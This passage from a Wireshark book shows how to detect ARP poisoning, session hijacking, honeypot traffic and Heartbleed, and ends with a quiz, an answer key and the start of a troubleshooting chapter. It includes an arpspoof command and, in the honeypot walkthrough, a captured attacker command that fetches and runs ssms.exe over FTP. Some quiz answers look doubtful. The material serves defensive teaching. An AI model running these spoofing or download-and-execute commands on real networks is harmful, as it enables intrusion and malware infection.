Note: It is important to note that while Wireshark is a powerful tool for analyzing network traffic, it alone may not offer complete protection against attacks. It is essential to adopt a layered approach to security, including implementing strong authentication mechanisms, utilizing intrusion detection systems (IDS) or intrusion prevention systems (IPS), and regularly updating software and systems with the latest security patches and measures. Combining Wireshark analysis with other security measures enhances the overall protection against brute-force and application attacks.

 

Detecting ARP poisoning

In today's interconnected world, network security holds paramount significance. One common attack that poses a significant threat to network integrity is Address Resolution Protocol (ARP) poisoning. ARP poisoning is a type of cyberattack that exploits the weakness of the ARP to intercept, modify, or disrupt network traffic. To effectively counter this threat, network administrators employ tools like Wireshark, to detect ARP poisoning attempts.

 

Understanding ARP poisoning

ARP is a protocol that maps network layer addresses (IP addresses) to link layer addresses (MAC addresses) on a local area network (LAN). When a device wants to communicate with another device on the same LAN, it sends an ARP request to ask for the MAC address of the destination device. The device with the matching IP address responds with an ARP reply that contains its MAC address. The sender then caches this information and uses it to send data frames to the destination.

However, ARP does not have any authentication mechanism to verify the source or the validity of the ARP messages. This allows an attacker to send spoofed ARP messages to other devices on the LAN, pretending to be another device or the default gateway. This way, the attacker can trick other devices into sending their network traffic to him instead of the intended destination. This is known as ARP Poisoning or ARP Spoofing.

ARP Poisoning can be used for various malicious purposes, such as:

Man-in-the-middle  (MITM)  attack:  The  attacker  can intercept  and  modify  the  network  traffic  between  two devices,  such  as  stealing  sensitive  information,  injecting malware, or altering data.

Denial-of-service  (DoS)  attack:  The  attacker  can  drop  or redirect  the  network  traffic  of  one  or  more  devices, preventing  them  from  accessing  network  resources  or services.

Session  hijacking:  The  attacker  can  take  over  an  existing session  between  two  devices,  such  as  a  web  browser  and  a web server, and impersonate one of them.

 

Detecting ARP poisoning using Wireshark

ARP poisoning attacks occur when an attacker manipulates the ARP tables on a local network, tricking devices into sending network traffic to the wrong destination. This is achieved by sending forged ARP replies, and convincing a target device to update its ARP cache with a forged entry. The process of manipulating the ARP cache in this manner is referred to as poisoning.

We need to perform some configurations in the Wireshark in order to automatically detect ARP packet storms and duplicate IP addresses. For this, click on the "Edit" tab, select "Preferences", go to "Protocols", click on "ARP/RARP", and check the "Detect ARP request storm" checkbox. Save the settings, and Wireshark will now detect packet storms and duplicate IP addresses as shown

in Figure 11.17:

[image: ]

Figure 11.17: Wireshark preferences

Let us see the process in action and scan your network for live hosts by using the netdiscover command: $ sudo netdiscover -i wlx30de4bd016b4 -r 192.168.1.0/24

Note: Open a terminal and execute the above command, replacing wlx30de4bd016b4 with your interface name and 192.168.1.0/24 with your subnet.

 

This command initiates the network scanning process and

identifies live hosts on the specified subnet, as shown in Figure

11.18:
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Figure 11.18: Live hosts

Here is how you can use Wireshark to detect ARP poisoning:

1. Capture  network  traffic:  Launch  Wireshark  on  your

computer and start capturing network traffic on the interface

connected  to  the  network  segment  you  want  to  monitor.

Select  the  appropriate  interface  from  the "Capture"  menu.

Wireshark  will  now  begin  capturing  packets  flowing  through

the network.

2. Filter ARP traffic: To focus specifically on ARP traffic, apply

a  display  filter  in  Wireshark.  Use  the  filter “arp”  to  display

only ARP packets. This helps narrow down the captured data

to ARP-related activity.

3. Analyze ARP packets for ARP poisoning: With the filtered

ARP  packets  displayed  in  Wireshark,  you  can  now  analyze

them for signs of ARP poisoning. Look for an abnormally large

number of ARP requests, which could indicate an ARP packet

storm.  To  gain  further  insights,  click  the "Analyze"  tab  in

Wireshark and select the "Expert Information"  option  from

the  dropdown  menu.  This  will  provide  you  with  useful

information related to the network traffic.

Check  if  any  warnings  or  alerts  indicate  the  detection  of  an

ARP packet storm, as depicted in Figure 11.19. If such traffic

is observed in your organization, it suggests that someone is

scanning or probing your network.
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Figure 11.19: Detection of ARP packet storm

4. Analyze  duplicate  IP  address  traffic:  To  analyze  traffic

indicating  duplicate  IP  addresses,  you  can  simulate  an  ARP

spoofing  attempt  using  the arpspoof command,  as

demonstrated in Figure 11.20. Run the given command in the

terminal,  replacing wlx30de4bd016b4  with  your  interface

name, 192.168.1.4  with  the  target  IP  address,  and

192.168.1.1 with the IP address of the router or gateway:

$ sudo arpspoof -i wlx30de4bd016b4 -t 192.168.1.4 -r 192.168.1.1
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Figure 11.20: ARP spoofing

5. Identify duplicate IP addresses: Execute the ARP spoofing

command,  then  in  Wireshark,  choose  an  ARP  packet  and

navigate  to  the  "Analyze"  tab.  From  the  dropdown  menu,

select the "Expert Information" option. Look for warnings or

alerts  indicating  the  detection  of  duplicate  IP  addresses,  as

shown in Figure 11.21. This serves as a clear indication of an

ARP spoofing attempt.
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Figure 11.21: Duplicate IP address detected Note: It is important to note that while Wireshark can help in detecting ARP poisoning attacks, it is essential to implement preventive measures to enhance network security. These measures may include using static ARP entries, enabling ARP spoofing protection mechanisms on network switches, or deploying dedicated ARP monitoring tools that offer real-time detection and mitigation capabilities for ARP poisoning attacks. Combining Wireshark analysis with these preventive measures helps to establish a robust defense against ARP spoofing threats.

 

Detecting session hijacking

Session hijacking is a serious attack that can compromise the confidentiality and integrity of network communications. To effectively defend against such attacks, network administrators use Wireshark for detecting and mitigating the session hijacking attempts.

 

Understanding session hijacking

Session hijacking is a cyberattack that exploits a valid computer session to gain unauthorized access to information or services in a computer system. A computer session is a temporary and interactive information exchange between two or more communicating devices, such as a web browser and a web server. A session is usually identified by a unique session token also known as “session ID”, which is a random string of characters assigned to the user when they log in or visit a website. The session token is stored in a cookie or a hidden field and is sent along with every request to the server to authenticate the user.

Session hijacking occurs when an attacker steals or guesses the session token of another user and uses it to impersonate them. This way, the attacker can access the user’s account, data, or privileges without their knowledge or consent. Session Hijacking can be used for various malicious purposes, such as:

Stealing  personal  or  financial  information,  such  as passwords, credit card numbers, or bank accounts.

Performing unauthorized actions, such as transferring funds, changing settings, or deleting data.

Spying  on  the  user’s  activity,  such  as  browsing  history, messages, or keystrokes.

Escalating  privileges,  such  as  gaining  access  to  restricted areas or resources.

 

Detecting session hijacking using Wireshark

Detecting session hijacking attacks using Wireshark can be challenging due to the nature of the attack. However, Wireshark can provide valuable insights that aid in detecting suspicious activity. Here are the steps you can take using Wireshark to detect session hijacking:

1. Capture  network  traffic:  Launch  Wireshark  and  start

capturing  network  traffic  on  the  interface  connected  to  the

network segment you want to monitor. This allows Wireshark

to capture packets flowing through the network, as shown in

the Figure 11.22, which can be analyzed for signs of session

hijacking.  Select  the  appropriate  interface  from  the

"Capture" menu in Wireshark.
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Figure 11.22: Captured network traffic

2. Filter  traffic  to  relevant  protocols:  Session  hijacking

attacks  often  target  specific  protocols,  such  as  HTTP  or

HTTPS.  To  focus  your  analysis  on  these  protocols,  you  can

apply a display filter in Wireshark. For example, to filter HTTP

traffic,  you  can  use  the  filter "http"  or "tcp.port  ==  80"  to

display  only  packets  related  to  HTTP  communication,  as

depicted in Figure 11.23:
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Figure 11.23: Filtered (HTTP) traffic

3. Check  for  abnormal  session  activity:  Monitoring  the

session establishment and termination processes is crucial in

detecting session hijacking. Look for multiple login or session

creation  attempts  within  a  short  period  coming  from  the

same IP address, as depicted in the Figure 11.24. This could

indicate  an  attacker  attempting  to  gain  unauthorized  access

to  a  session.  Additionally,  unusual  activity  like  multiple

successful  logins  from  different  geographic  locations

simultaneously might also indicate session hijacking.
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Figure 11.24: Abnormal session activities

4. Examine  session  cookies:  Session  hijacking  attacks  often

involve  stealing  session  cookies  to  impersonate  a  legitimate

user.  By  analyzing  the  values  of  session  cookies  in  HTTP

packets, you can detect potential session hijacking attempts.

Look for packets containing session cookies and examine their

values. If you notice multiple requests with the same session

cookie  coming  from  different  IP  addresses  or  inconsistent

session cookie values, it could indicate a hijacked session. For

example,  if  the  cookie  value  consistently  increases  by  1  in

each GET request, it may indicate unauthorized modification,

as shown in the Figures 11.25 (a) and (b):
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Figure 11.25 (a): Packet containing session cookie value 0
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Figure 11.25 (b): Packet containing session cookie value 1

Note: It is important to note that session hijacking attacks can be sophisticated, and attackers may employ encryption or obfuscation techniques to evade detection. Therefore, relying solely on network traffic analysis with tools like Wireshark may not always be sufficient to detect such attacks. It is advisable to implement additional security measures such as using secure communication protocols like HTTPS, session encryption, strong authentication mechanisms, and intrusion detection/prevention systems (IDS/IPS) to enhance overall security and mitigate the risk of session hijacking attacks.

 

Detecting honeypot traffic

Honeypots serve as an invaluable tool to detect, analyze, and deter malicious activities in cybersecurity. Honeypots are intentionally designed decoy systems or network resources, created to lure attackers and monitor their behavior. By mimicking real systems and services, honeypots attract and capture the attention of potential intruders, providing valuable insights into their techniques, tactics, and objectives. To effectively leverage the data collected by honeypots, network administrators often turn to powerful network analysis tools like Wireshark.

 

Understanding honeypot traffic

Honeypot traffic refers to the network communications generated between attackers and honeypots. This traffic is distinct from normal network traffic, as it typically originates from individuals or automated bots attempting unauthorized access, reconnaissance, exploitation, or other malicious activities. By interacting with a honeypot, attackers reveal valuable information about their methods, intentions, and the vulnerabilities they target.

Honeypots are usually deployed in areas of a network that are attractive targets for attackers, such as open ports, vulnerable services, or misconfigured systems. These decoy systems can be either high-interaction honeypots, which provide extensive emulation of a real environment, or low-interaction honeypots, which simulate specific services or protocols with limited functionality. Regardless of the type, the primary goal of a honeypot is to engage attackers and collect data about their activities without compromising the real systems or data on the network.

Detecting honeypot traffic with Wireshark

Wireshark can help identify honeypot traffic by looking for some indicators, such as:

Unusual  or  suspicious  IP  addresses:  Honeypots  may  use IP addresses that are not assigned to any legitimate device or network,  or  that  are  known  to  be  associated  with  malicious activity. Wireshark can filter traffic by IP address and display information such as source, destination, protocol and port.

Known  vulnerabilities  or  exploits:  Honeypots  may  be deliberately configured with known vulnerabilities or exploits to  attract  attackers.  Wireshark  can  detect  these  by  using signatures  or  rules  that  match  specific  patterns  of  malicious traffic.  For  example,  Wireshark  can  use  Snort  rules  to identify  common  attacks  such  as  buffer  overflows,  SQL injections or cross-site scripting.

Anomalous  or  irregular  behavior:  Honeypots  may  exhibit behavior  that  is  different  from  normal  or  expected  network activity.  For  example,  honeypots  may  generate  more  traffic than usual, respond faster or slower than normal, or send or receive  unusual  types  of  data.  Wireshark  can  analyze  traffic statistics and patterns to detect anomalies and outliers.

Detecting honeypot traffic using Wireshark can be a useful approach to identify potential attackers or malicious activity targeting a honeypot, which is a decoy system designed to attract and monitor attackers.

Here are some steps you can take using Wireshark to detect honeypot traffic:

1. Capture  network  traffic:  Launch  Wireshark  and  start

capturing  network  traffic  on  the  interface  connected  to  the

honeypot  or  the  network  segment  where  the  honeypot  is

deployed.  This  allows  Wireshark  to  capture  packets  flowing

through  the  network,  which  can  be  analyzed  for  signs  of

honeypot activity, as can be seen in Figure 11.27. Select the

appropriate interface from the "Capture" menu in Wireshark.
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Figure 11.27: Captured network traffic

 

2. Examine  incoming  connections:  Analyze  incoming

connections to the honeypot by looking for TCP SYN packets.

Honeypots  are  designed  to  attract  attackers,  so  unusual  or

repeated  connection  attempts  from  the  same  source  IP

address  or  a  set  of  IP  addresses  may  indicate  potential

attackers  probing  or  attempting  to  gain  access.  Look  for

patterns such as multiple connection attempts within a short

period or connections from suspicious IP addresses.

3. Monitor  for  uncommon  protocols  or  ports:  Honeypot

traffic  may  involve  communication  using  protocols  or  ports

that  are  typically  uncommon  or  unused  in  regular  network

traffic. Look for packets containing unusual protocols or traffic

on non-standard ports. This can indicate attackers attempting

to exploit vulnerabilities specific to the honeypot or launching

targeted  attacks.  Identify  protocols  or  ports  that  are  not

typically  used  in  your  network  environment  and  pay  close

attention to packets related to them.

4. Analyze  scanning  activities:  Attackers  often  perform  port

scanning to identify open ports and potential vulnerabilities in

a  target  system.  Look  for  patterns  of  sequential  or  random

port scans, such as packets targeting a range of consecutive

ports  or  packets  probing  for  well-known  vulnerable  services.

These  scanning  activities  are  indicative  of  attackers

attempting  to  identify  potential  attack  vectors  within  the

honeypot.

Here, let us see which OS was targeted by the attack, which

service and which vulnerability?

In the Figure 11.28, we can see that Samba (SMB) is being

used. SMB sends along some OS information when it is setting

up so if you look at a packet in the SMB header you can see

Windows 2000.
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Figure 11.28: SMB header

In packet 33 of the Wireshark capture, there is a notable

occurrence  of  a  large  list  of  1s,  and  Wireshark  indicates  a

"long frame",  as  depicted  in  the Figure  11.29.  By  following

the TCP stream, it can be observed that this packet marks the

end  of  TCP  stream  1.  Analyzing  the  content  within  the  TCP

stream, it becomes apparent that the attacker is sending the

payload "DsRoleUpgradeDownlevelServer"  followed  by  a

buffer overflow.
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Figure 11.29: 'DsRoleUpgradeDownlevelServer' Payload and Buffer Overflow

Further  investigation  and  searching  indicate  that  this

particular  payload  corresponds  to  the MS04-011  exploit.

The  exploit  targets  a  vulnerable  function  in  the Local

Security  Authority  Subsystem  Service (LSASS),  which  is

the same vulnerability that the Sasser worm leveraged.

MS04-011 was a security vulnerability discovered in 2004 and

is  associated  with  the  Sasser  worm,  a  widespread  malware

that  infected  numerous  systems  worldwide.  The  vulnerability

allowed  remote  attackers  to  execute  arbitrary  code  on

affected  systems,  often  resulting  in  system  crashes  or

unauthorized access.

Here is an overview of the general actions performed by the

attacker:

i. TCP Connection 1: The attacker initiated and closed a TCP

connection with the victim. This connection was most likely a  reconnaissance  attempt  targeting  the  open  445  port.  By establishing  and  closing  the  connection,  the  attacker  was likely  gathering  information  about  the  victim's  system  or network.

ii. TCP  Connection  2:  A Server  Message  Block  (SMB)

connection  was  established.  During  this  connection,  the attacker  exploited  a  buffer  overflow  vulnerability  in  the LSASS. Exploiting this vulnerability could grant the attacker unauthorized access or control over the victim's system.

iii. TCP Connection 3: This connection involved the execution

of  a  specific  code  snippet,  as  can  be  seen  in  the Figure

11.30:

echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe (&’s indicate line breaks)

The actions included opening a connection to the IP address 0.0.0.0  on  port  8884,  providing  user  credentials  (user  1, password  1),  downloading  a  file  named  "ssms.exe"  from  the remote server, and then quitting the FTP session. The code snippet  also  included  the  deletion  of  the  file  "o"  using  the "del"  command  and  the  execution  of  "ssms.exe"  on  the victim's machine.
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Figure 11.30: Code snippet TCP connection 3

iv. TCP Connection 4: In this connection, a user logged in via

an FTP backdoor. The user accessed the system through an unauthorized  or  hidden  FTP  service,  likely  established  by the attacker. They then requested the download of a binary file,  indicating  their  intention  to  transfer  a  specific executable or program onto the victim's machine.

v. TCP  Connection  5:  This  connection  involved  the  actual

download of the binary file mentioned in TCP Connection 4. The  binary  file  was  successfully  transferred  from  the attacker's  machine  to  the  victim's  machine.  The  content and purpose of the binary file are not specified in the given information.

Wireshark  captures  packets  exchanged  over  a  network, allowing analysts to inspect and interpret network traffic. In this  case,  the  captured  packets  provide  insight  into  the actions  taken  by  an  attacker  during  a  series  of  TCP connections.  These  connections  involved  reconnaissance, exploitation of vulnerabilities, executing remote commands,

logging  in  via  an  FTP  backdoor,  and  downloading  a  binary file to the victim's machine.

The question arises, whether a Honeypot was employed to pose a vulnerable victim?

In  IPv4  header,  different  operating  systems  will  provide distinct  time-to-live  values.  It  is  likely  that  a  honeypot  was used  to  pose  as  a  vulnerable  victim.  The Time-to-Live (TTL) value in the IPv4 header can provide clues about the operating  system  being  used.  In  this  case,  the  TTL  value observed in the captured packets does not match that of a Windows machine.

Typically, Windows machines have a TTL value of 128, while Linux  machines  often  use  a  TTL  value  of  64.  In  the  given scenario, the TTL value observed aligns with that of a Linux

system, as can be seen in the Figure 11.31. However, in the SMB header, the attacker is able to extract information that suggests  the  target  is  running  Windows  2000.  This inconsistency  between  the  TTL  value  and  the  reported operating  system  in  the  SMB  header  indicates  that  the system is likely a honeypot designed to mimic a vulnerable Windows 2000 machine.
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Figure 11.31: TTL value

5. Cross-reference  with  threat  intelligence:  Utilize  threat

intelligence  sources  or  known indicators  of  compromise

(IOCs)  to  identify  malicious  IP  addresses,  domains,  or

signatures  associated  with  attackers.  Compare  the  captured

traffic  against  these  IOCs  to  identify  potential  malicious

activity.  This  helps  in  identifying  attackers  who  are  known  to

engage in malicious activities.

6. Collaborate  with  network  security  tools:  Integrate

Wireshark  with  other  network  security  tools  and  monitoring

systems.  Combine  the  information  from  Wireshark  captures

with intrusion  detection/prevention  systems (IDS/IPS),

log analyzers, or SIEM solutions for a comprehensive view of

the  honeypot's  security.  This  collaboration  enhances  the

detection and response to potential threats effectively.

Note: Additionally, it is important to note that the provided example includes specific information about TCP connections involving SMB traffic. Wireshark can capture and analyze various protocols, and the steps above are applicable to general honeypot traffic analysis.

 

Remember that Wireshark is a powerful tool for network traffic analysis, but it should be used in conjunction with other security measures. Implementing strong access controls, regular system updates and patches, and other security best practices will enhance the overall security of a honeypot and aid in the identification of malicious activity.

 

Detecting Heartbleed bug

The Heartbleed bug was a critical vulnerability discovered in 2014 that affected the OpenSSL library, a widely used cryptographic software library for secure communication over the internet. This bug allowed attackers to exploit a flaw in the implementation of the Transport Layer Security (TLS) heartbeat extension, potentially exposing sensitive information such as usernames, passwords, and private keys.

 

Understanding the Heartbleed bug

The Heartbleed bug stemmed from a coding error within the OpenSSL library, specifically in the implementation of the heartbeat extension (RFC 6520) used in the TLS protocol. The heartbeat extension allows a client and server to maintain an open connection while periodically sending small "heartbeats" to each other to verify the connection's status.

The vulnerability occurred due to a lack of bounds checking when processing the heartbeat request. An attacker could craft a malicious heartbeat request with a manipulated payload length, causing the vulnerable server to leak data from its memory. This flaw allowed an attacker to read up to 64 kilobytes of data from the server's memory, potentially exposing sensitive information.

 

Detecting the Heartbleed bug using Wireshark

Detecting the Heartbleed bug specifically using Wireshark is not straightforward because the vulnerability exists at the OpenSSL library level and not within network traffic itself. However, Wireshark can be used as a tool to analyze network traffic and identify potential exploitation attempts or abnormal behavior associated with the Heartbleed bug.

Here are some steps you can take using Wireshark to aid in detecting the Heartbleed bug:

1. Capture  network  traffic:  Launch  Wireshark  and  select  the

interface  connected  to  the  network  segment  you  want  to

monitor,  as  shown  in  the Figure  11.32.  Start  capturing

network  traffic  by  clicking  on  the  "Capture"  menu  and

choosing the appropriate interface.
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Figure 11.32: Captured network traffic

2. Filter traffic to HTTPS (SSL/TLS):  Apply  a  display  filter  to

focus  on  SSL/TLS  traffic,  which  is  the  protocol  vulnerable  to

the Heartbleed bug. You can use filters like "ssl" or "tcp.port ==

443 "  to  display  only  packets  associated  with  HTTPS

communication,  as  can  be  in Figure  11.33.  This  will  help

narrow down the captured packets to the relevant ones.
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Figure 11.33: Filtered SSL/TLS traffic

3. Look for heartbeat packets: The Heartbleed bug is related

to  the "heartbeat"  extension  in  the  SSL/TLS  protocol.  Look

for  SSL/TLS  heartbeat  packets  within  the  captured  traffic.

Heartbeat  packets  have  a  specific  structure  and  can  be

identified  by  their  content.  To  show  Heartbeat  messages  in

Wireshark, you can use the display filter "ssl.record.content_type

==  24",  as  illustrated  in Figure  11.34.  Heartbeat  messages

include Heartbeat Request and Heartbeat Response.
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Figure 11.34: Heartbeat packets

4. Analyze  packet  sizes:  Heartbleed  involves  a  maliciously

crafted  heartbeat  packet  that  allows  an  attacker  to  read

additional data from the server's memory. Analyze the packet

sizes  of  SSL/TLS  heartbeat  packets.  If  you  notice  unusually

large  payload  sizes  or  inconsistencies  between  the  expected

size  and  the  actual  size,  it  could  indicate  a  potential

Heartbleed  attack.  Pay  close  attention  to  packets  that  have

abnormally large sizes.

5. Check  for  malformed  heartbeat  packets:  Heartbleed

exploits  the  ability  to  send  a  maliciously  crafted  heartbeat

packet that can lead to the exposure of sensitive information.

Look for any malformed or unexpected heartbeat packets with

unusual values or structures. These packets may deviate from

the  expected  format  and  may  contain  suspicious  or

unexpected data, as can be seen in the Figure 11.35:
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Figure 11.35: Malformed heartbeat packets

6. Cross-reference  with  known  vulnerable  systems:

Heartbleed  primarily  affected  systems  running  vulnerable

versions of the OpenSSL library. Cross-reference the source IP

addresses  associated  with  heartbeat  packets  against  lists  of

known  vulnerable  systems.  This  can  help  identify  potential

targets or attackers. Consult public vulnerability databases or

known  vulnerability  lists  to  check  if  the  IP  addresses  are

associated with vulnerable systems.

7. Verify server patching: Heartbleed was a widely publicized

vulnerability, and patches were released to mitigate the issue.

Analyze  the  SSL/TLS  handshake  process  in  captured  packets

to check if the server presents a patched version of OpenSSL.

Look  for  Server  Hello  messages,  which  indicate  the  server's

supported  cipher  suites  and  versions.  Ensure  that  the  server

is  not  using  a  vulnerable  version  of  OpenSSL  by  confirming

that it supports a patched version.

Note: It is important to note that detecting the Heartbleed bug solely through network traffic analysis may not provide a comprehensive view. Organizations should also implement security practices such as regularly patching affected systems, monitoring system logs, and utilizing vulnerability scanning tools to identify and mitigate the Heartbleed vulnerability effectively. Network traffic analysis with tools like Wireshark can serve as an additional layer of detection, but it should be complemented with other security measures for a robust defense against Heartbleed and other vulnerabilities.

 

Challenges/limitations of analysis of network attacks

using Wireshark

Wireshark is a powerful tool for network analysis, but it is not without its challenges and limitations when it comes to detecting and preventing network attacks. How can we overcome these obstacles and make the most of Wireshark’s capabilities?

Encrypted  traffic:  One  of  the  main  challenges  of  using Wireshark  is  dealing  with  encrypted  traffic.  Encryption protocols  such  as  TLS/SSL  are  designed  to  protect  the privacy and security of data transmission, but they also make it difficult for analysts to inspect packet content and identify malicious  activity.  Without  access  to  decryption  keys, analysts  may  miss  important  clues  or  evidence  of  an  attack. To solve this problem, analysts may need to obtain decryption keys  from  legitimate  sources  or  use  other  methods  such  as SSL/TLS interception or decryption proxies.

Time  sensitivity:  Another  challenge  of  using  Wireshark  is time  sensitivity.  Network  attacks  often  require  rapid response and mitigation before they cause significant damage or disruption. However, analyzing large packet captures may take  a  lot  of  time  and  resources,  especially  if  they  contain  a lot  of  noise  or  irrelevant  data.  This  may  delay  incident response and    compromise network    performance or availability.  To  address  this  issue,  analysts  may  need  to  use filters or other techniques to reduce the size and  complexity of  packet  captures  and  focus  on  the  most  relevant  or suspicious data.

Wireshark also has some limitations as a network security tool.

No  real-time  detection: One  of  them  is  that  it  does  not provide  real-time  detection  of  ongoing  attacks.  Wireshark  is mainly  a  post-event  analysis  tool  that  allows  analysts  to examine packet captures after they have been collected. This means that analysts may not be aware of an attack until it is too  late  or  has  already  caused  harm.  To  overcome  this limitation,  analysts  may  need  to  use  other  tools  that  provide real-time  detection  and  alerting  of  network  attacks,  such  as intrusion detection systems (IDS) or firewalls.

Intrusion  Detection  Limitations:  Another  limitation  of Wireshark  is  that  it  may  not  detect  certain  attack  patterns that are detected by specialized IDS tools. Wireshark is not a dedicated  IDS  tool  and  does  not  have  built-in  rules  or signatures  for  detecting  specific  types  of  attacks.  For example,  Wireshark  may  not  be  able  to  detect  stealthy attacks  that  use  low-and-slow  techniques  or  advanced evasion  methods.  To  compensate  for  this  limitation,  analysts may  need  to  use  other  tools  that  have  more  sophisticated detection capabilities and features, such as Snort or Suricata.

Despite these challenges and limitations, Wireshark remains a valuable tool for network analysis and security. It offers many benefits such as flexibility, versatility, and functionality that make it suitable for various purposes and scenarios. However, Wireshark alone is not enough to ensure network security. Analysts need to use Wireshark in conjunction with other security tools and methodologies that complement its strengths and weaknesses. By doing so, analysts can enhance their network security posture and protect their networks from malicious attacks.

 

Conclusion

In this chapter, we have learned how to use Wireshark to detect various network attacks that can compromise the security and performance of our systems and networks. We have seen how to apply Wireshark filters and use the statistics and analysis tools to identify suspicious network traffic patterns, such as port scanning, DoS and DDoS attacks, brute-force and application attacks, ARP poisoning, session hijacking, honeypot traffic, and the Heartbleed bug.

In the next and final chapter of this book, we will learn how to use Wireshark for troubleshooting and performance analysis of network problems. We will cover topics such as packet loss, latency, bandwidth utilization, TCP retransmissions, DNS issues, and HTTP errors. We will also learn how to use Wireshark’s expert system and other advanced features to diagnose and resolve network issues. By the end of this chapter, you will be able to use Wireshark as a powerful tool for network monitoring and optimization.

 

Questions

1. What is the Wireshark filter to detect ARP scanning on

the network?

a) arp.src.hw_mac==00:00:00:00:00:00

b) arp.dst.hw_mac==ff:ff:ff:ff:ff:ff

c) arp.dst.hw_mac==00:00:00:00:00:00

d) arp.src.hw_mac==ff:ff:ff:ff:ff:ff

2. What  is  the  Wireshark  filter  to  detect  ICMP  ping

sweeps on the network?

a) icmp.type==8 or icmp.type==0

b) icmp.type==3 and icmp.code==2

c) icmp.type==5 and icmp.code==1

d) icmp.type==11 and icmp.code==0

3. What  is  the  Wireshark  filter  to  detect  TCP  SYN  port

scanning on the network?

a) tcp.flags.syn == 1 and tcp.flags.ack == 0

b) tcp.flags.syn == 1 and tcp.flags.ack == 1

c) tcp.flags.syn == 0 and tcp.flags.ack == 1

d) tcp.flags.syn == 0 and tcp.flags.ack == 0

4. What  is  the  Wireshark  filter  to  detect  UDP  port

scanning on the network?

a) udp.dstport > 1024

b) udp.srcport > 1024

c) udp.length > 8

d) udp.checksum == 0

5. What  is  the  Wireshark  filter  to  detect  DoS  and  DDoS

attacks on the network?

a) ip.src == 

b) ip.dst == 

c) ip.src !=  and ip.dst != 

d) There is no single filter to detect DoS and DDoS attacks.

6. What  is  the  Wireshark  filter  to  detect  brute-force

attacks on the network?

a) http.request.method == POST

b)  http.response.code  ==  401  or  http.response.code  ==

403

c)  http.request.method  ==  POST  and  (http.response.code

== 401 or http.response.code == 403)

d)  http.request.method  ==  GET  and  (http.response.code

== 401 or http.response.code == 403)

7. What is the Wireshark filter to detect ARP poisoning on

the network?

a) arp.opcode == 2

b) arp.src.hw_mac != eth.src

c) arp.dst.hw_mac != eth.dst

d) arp.src.hw_mac != eth.src or arp.dst.hw_mac != eth.dst

8. What is the Wireshark filter to detect session hijacking

on the network?

a) tcp.seq > tcp.ack

b) tcp.seq < tcp.ack

c) tcp.seq != tcp.ack

d) There is no single filter to detect session hijacking

9. What is the Wireshark filter to detect honeypot traffic

on the network?

a) ip.addr == 

b) ip.addr != 

c) ip.addr in {}

d) There is no single filter to detect honeypot traffic.

10. What  is  the  Wireshark  filter  to  detect  the  Heartbleed

bug on the network?

a) ssl.record.content_type == “heartbeat”

b) ssl.record.length > 16384

c)      ssl.record.content_type     ==     “heartbeat”     and

ssl.record.length > 16384

d)      ssl.record.content_type     ==     “heartbeat”     or

ssl.record.length > 16384

 

Answers

1. c

2. a

3. a

4. d

5. d

6. c

7. d

8. d

9. c

10. c
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CHAPTER 12

 

Troubleshooting and

Performance Analysis Using

Wireshark

 

Introduction

In this chapter, you will learn how to use Wireshark to perform troubleshooting and performance analysis. You will start by learning the basic troubleshooting methodology, which involves identifying the problem, capturing the relevant traffic, filtering and inspecting the packets, and finding the root cause. You will also learn how to troubleshoot common network issues, such as connectivity problems, functional problems, and TCP protocol problems.

Next, you will learn about performance analysis using Wireshark, which involves measuring the network latency, throughput, and utilization. You will also learn how to troubleshoot slow application response time, which can be caused by various factors, such as network congestion, server overload, or application inefficiency.

By the end of this chapter, you will have a solid understanding of how to use Wireshark to diagnose network problems and optimize network performance.

Structure

In this chapter, we will discuss the following topics:

Troubleshooting methodology

Troubleshooting connectivity issues

Troubleshooting functional issues

Performance analysis methodology

Troubleshooting TCP protocol issues

Troubleshooting slow application response time

 

Objectives

The primary objective of this chapter is to equip readers with the necessary knowledge and skills to troubleshoot and carry-out performance analysis using Wireshark effectively. It is a powerful tool that can capture and inspect network traffic in real-time. You can use it to diagnose network problems, monitor network performance, and understand how applications communicate over the network.

The first part of this chapter will cover the basic troubleshooting methodology, which involves identifying the problem, capturing the relevant traffic, filtering and inspecting the packets, and finding the root cause. You will also learn how to troubleshoot common network issues, such as connectivity problems, functional problems, and TCP protocol problems.

The second part of this chapter will cover the performance analysis methodology, which involves measuring the network latency, throughput, and utilization. You will also learn how to troubleshoot slow application response time, which can be caused by various factors, such as network congestion, server overload, or application inefficiency.

By the end of this chapter, you will have a solid understanding of how to use Wireshark to diagnose network problems and optimize network performance.

Troubleshooting methodology

Wireshark is a tool that allows you to capture and analyze network packets, which are the units of data that travel between devices on a network. By examining the packets, you can find out what is happening on the network and identify any problems that affect the communication or performance of applications.

There are two main types of problems that you can use Wireshark to solve:

Connectivity  or  functionality  problems:  These  are situations  where  a  user  cannot  connect  to  a  network resource or an application does not work as expected or at all. For example, a user may be unable to access a website, or  an  email  client  may  not  be  able  to  send  or  receive messages.  To  troubleshoot  these  problems,  you  need  to compare  the  packets  that  are  exchanged  when  the application  works  normally  with  the  packets  that  are exchanged  when  the  problem  occurs.  This  way,  you  can spot  any  differences  or  errors  that  may  indicate  the  cause of  the  problem.  For  example,  you  may  see  that  some packets  are  lost,  corrupted,  rejected,  or  redirected,  which can  affect  the  connectivity  or  functionality  of  the application.

Performance  problems:  These  are  situations  where  an application works but is slow or unreliable. For example, a web page may take longer to load, or a video call may have poor  quality  or  dropouts.  To  troubleshoot  these  problems, you  need  to  measure  the  time  that  it  takes  for  a  packet  to travel from one device to another and back, which is called the round-trip time (RTT). You also need to measure the time  that  it  takes  for  an  application  to  complete  a  specific task or transaction, which is called the response time. You can  determine  if  there  is  any  excessive  delay  that  affects the  performance  of  the  application  by  comparing  these times with the normal or expected values. For example, you may see that some packets take longer than usual to reach

their  destination  or  that  some  packets  are  delayed  by intermediate devices, such as routers or firewalls.

In some cases, an application may exhibit poor performance and frequent failures. This may indicate an underlying issue that compromises the application’s functionality and performance, or it may simply reflect suboptimal performance.

To achieve your goal, whether it is troubleshooting or performance analysis, you need to compare the packets that you capture with Wireshark with the packets that you expect to see in a normal situation. This way, you can identify any differences or anomalies that might be causing the problem.

To compare the packets effectively, you need to collect the right information from the user, the network, and the application. This information will help you define the problem more clearly and narrow down the possible causes.

 

Collecting the right information

The most important step in solving a problem is to understand its depth. Sometimes, the problem that you as a developer see is not the same as the problem that the user experiences. To avoid wasting time and resources on the wrong problem or the wrong aspect of the problem, you need to ask questions and interpret the answers carefully.

When you are asking questions to collect information, you should try to cover the given main areas:

